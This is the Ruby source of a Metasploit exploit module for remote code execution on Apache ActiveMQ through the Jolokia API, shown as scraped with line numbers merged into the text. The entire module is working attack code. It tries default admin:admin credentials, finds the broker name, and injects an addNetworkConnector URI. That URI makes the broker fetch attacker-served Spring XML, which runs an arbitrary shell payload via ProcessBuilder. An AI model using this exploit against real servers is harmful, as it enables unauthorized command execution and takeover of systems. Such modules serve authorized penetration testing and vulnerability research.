Path: blob/master/modules/exploits/multi/http/apache_activemq_jolokia_rce.rb
74550 views
# frozen_string_literal: true12##3# This module requires Metasploit: https://metasploit.com/download4# Current source: https://github.com/rapid7/metasploit-framework5##67class MetasploitModule < Msf::Exploit::Remote8Rank = ExcellentRanking910prepend Msf::Exploit::Remote::AutoCheck11include Msf::Exploit::Remote::HttpClient12include Msf::Exploit::Remote::HttpServer1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'Apache ActiveMQ RCE via Jolokia addNetworkConnector',19'Description' => %q{20Apache ActiveMQ exposes a Jolokia JMX-over-HTTP API at /api/jolokia/.21An authenticated attacker can invoke the addNetworkConnector() MBean22operation with a crafted URI that causes the broker to fetch a remote23Spring XML configuration over HTTP. The Spring XML instantiates a24ProcessBuilder bean that executes attacker-supplied OS commands.2526Default credentials (admin:admin) are accepted by many installations.2728Verified on docker image29},30'Author' => [31'dinosn', # Discovery and PoC32'h00die' # Metasploit module33],34'License' => MSF_LICENSE,35'References' => [36['CVE', '2026-34197'],37['URL', 'https://github.com/dinosn/CVE-2026-34197'],38['URL', 'https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/']39],40'DisclosureDate' => '2026-04-29',41'Platform' => %w[linux unix win],42'Arch' => [ARCH_CMD],43'Privileged' => false,44'Stance' => Stance::Aggressive,45'Targets' => [46['Windows', { 'Platform' => 'win' }],47['Linux', { 'Platform' => %w[linux unix] }],48['Unix', { 'Platform' => 'unix' }]49],50'DefaultTarget' => 1,51'DefaultOptions' => {52'WfsDelay' => 3053},54'Notes' => {55'Stability' => [CRASH_SAFE],56'Reliability' => [REPEATABLE_SESSION],57'SideEffects' => [IOC_IN_LOGS]58}59)60)6162register_options([63Opt::RPORT(8161),64OptString.new('TARGETURI', [true, 'Base path to ActiveMQ web console', '/']),65OptString.new('USERNAME', [true, 'Jolokia username', 'admin']),66OptString.new('PASSWORD', [true, 'Jolokia password', 'admin']),67OptString.new('BROKER_NAME', [false, 'Broker name (auto-detected if blank)', ''])68])69end7071def check72res = send_request_cgi({73'uri' => normalize_uri(target_uri.path, '/api/jolokia/'),74'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])75})7677return CheckCode::Unknown('No response from target') unless res78return CheckCode::Unknown('Authentication failed (401) — check USERNAME/PASSWORD') if res.code == 40179return CheckCode::Unknown('Jolokia access forbidden (403)') if res.code == 40380return CheckCode::Unknown("Unexpected HTTP status: #{res.code}") unless res.code == 2008182data = res.get_json_document83return CheckCode::Unknown('Could not parse Jolokia response') if data.empty?8485agent = data.dig('value', 'agent') || 'unknown'86CheckCode::Appears("Jolokia accessible — agent version: #{agent}")87end8889def on_request_uri(cli, request)90vprint_status("#{request.method} #{request.uri}")9192case target['Platform']93when 'win'94shell = 'cmd.exe'95flag = '/c'96else97shell = '/bin/sh'98flag = '-c'99end100101xml = %(<?xml version="1.0" encoding="UTF-8"?>102<beans xmlns="http://www.springframework.org/schema/beans"103xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"104xsi:schemaLocation="http://www.springframework.org/schema/beans105http://www.springframework.org/schema/beans/spring-beans.xsd">106<bean id="#{Rex::Text.rand_text_alpha(8)}" class="java.lang.ProcessBuilder" init-method="start">107<constructor-arg>108<list>109<value>#{shell}</value>110<value>#{flag}</value>111<value><![CDATA[#{payload.encoded}]]></value>112</list>113</constructor-arg>114</bean>115</beans>)116117send_response(cli, xml, {118'Content-Type' => 'application/xml',119'Connection' => 'close',120'Pragma' => 'no-cache'121})122print_good('Malicious Spring XML served — target will execute payload via ProcessBuilder')123end124125def exploit126start_service127128bname = detect_broker_name129print_status("Using broker name: #{bname}")130131remove_network_connector(bname, 'NC')132133# static:(...) is the network connector discovery URI.134# vm://#{Rex::Text.rand_text_alpha(8)} references a non-existent broker, forcing dynamic creation.135# brokerConfig=xbean:http://... loads remote Spring XML config.136malicious_uri = "static:(vm://#{Rex::Text.rand_text_alpha(8)}?brokerConfig=xbean:#{get_uri})"137138jolokia_body = {139'type' => 'exec',140'mbean' => "org.apache.activemq:type=Broker,brokerName=#{bname}",141'operation' => 'addNetworkConnector(java.lang.String)',142'arguments' => [malicious_uri]143}.to_json144145print_status("Sending Jolokia exploit request to #{rhost}:#{rport}")146vprint_status("Malicious URI: #{malicious_uri}")147148# Use a short timeout: ActiveMQ fetches our Spring XML and runs the payload149# asynchronously, so the Jolokia POST often never returns a response.150# We handle the session in the handler regardless.151res = send_request_cgi({152'method' => 'POST',153'uri' => normalize_uri(target_uri.path, '/api/jolokia/'),154'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),155'ctype' => 'application/json',156'data' => jolokia_body,157'headers' => { 'Origin' => "#{ssl ? 'https' : 'http'}://#{rhost}:#{rport}" },158'timeout' => 10159})160161if res.nil?162print_status('Jolokia POST timed out — broker is likely fetching Spring XML and executing payload')163elsif res.code == 401164fail_with(Failure::NoAccess, 'Authentication failed — check USERNAME/PASSWORD')165elsif res.code != 200166print_warning("Unexpected HTTP status: #{res.code} — continuing anyway")167else168result = res.get_json_document169if result.empty?170print_warning('Could not parse Jolokia response — continuing anyway')171elsif result['status'] == 200172print_good('Jolokia accepted the payload — waiting for target to fetch Spring XML...')173else174print_warning("Jolokia returned status #{result['status']}: #{result['error']}")175end176end177178handler179end180181private182183def remove_network_connector(broker_name, connector_name)184body = {185'type' => 'exec',186'mbean' => "org.apache.activemq:type=Broker,brokerName=#{broker_name}",187'operation' => 'removeNetworkConnector(java.lang.String)',188'arguments' => [connector_name]189}.to_json190191res = send_request_cgi({192'method' => 'POST',193'uri' => normalize_uri(target_uri.path, '/api/jolokia/'),194'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),195'ctype' => 'application/json',196'data' => body,197'headers' => { 'Origin' => "#{ssl ? 'https' : 'http'}://#{rhost}:#{rport}" }198})199200if res&.code == 200201vprint_status("Removed existing '#{connector_name}' network connector")202else203vprint_status("No existing '#{connector_name}' connector to remove (or removal failed) — continuing")204end205end206207def detect_broker_name208return datastore['BROKER_NAME'] unless datastore['BROKER_NAME'].blank?209210res = send_request_cgi({211'uri' => normalize_uri(target_uri.path, '/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=*'),212'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])213})214215if res&.code == 200216data = res.get_json_document217if !data.empty? && data['status'] == 200 && data['value']218data['value'].each_key do |mbean|219mbean.split(',').each do |part|220next unless part.start_with?('brokerName=')221222name = part.split('=', 2).last223vprint_status("Discovered broker name: #{name}")224return name225end226end227end228end229230vprint_status("Could not discover broker name, using default 'localhost'")231'localhost'232end233end234235236